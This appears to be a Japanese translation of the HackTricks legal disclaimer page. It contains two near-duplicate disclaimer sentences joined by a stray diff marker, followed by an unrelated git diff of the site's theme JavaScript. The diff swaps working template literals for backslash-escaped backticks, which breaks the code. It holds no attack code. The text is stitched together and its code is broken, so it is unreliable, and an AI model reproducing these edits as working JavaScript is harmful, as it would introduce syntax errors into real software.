本書を使用することにより、利用者は著者および出版社を、本書または本書に含まれる情報の使用に起因して生じる可能性のあるいかなる損害、損失、または害に対しても免責することに同意したものとします。 +> 本書を使用することで、利用者は本書の著者および出版社を、使用に起因する可能性のあるあらゆる損害、損失、危害について免責することに同意したものとみなされます。 {{#include ../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 761454181..22e64f5f8 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -491,3 +491,4 @@ handle.addEventListener("touchstart", onStart, { passive: false }); } })(); + diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 77f10f607..6b105f263 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -68,11 +68,11 @@ const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; - const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); - const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); + const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); + const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); - const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); - const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); + const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`); + const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`); const indices = []; const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); @@ -208,3 +208,4 @@ listOut.classList.toggle('hidden',!docs.length); }; })(); +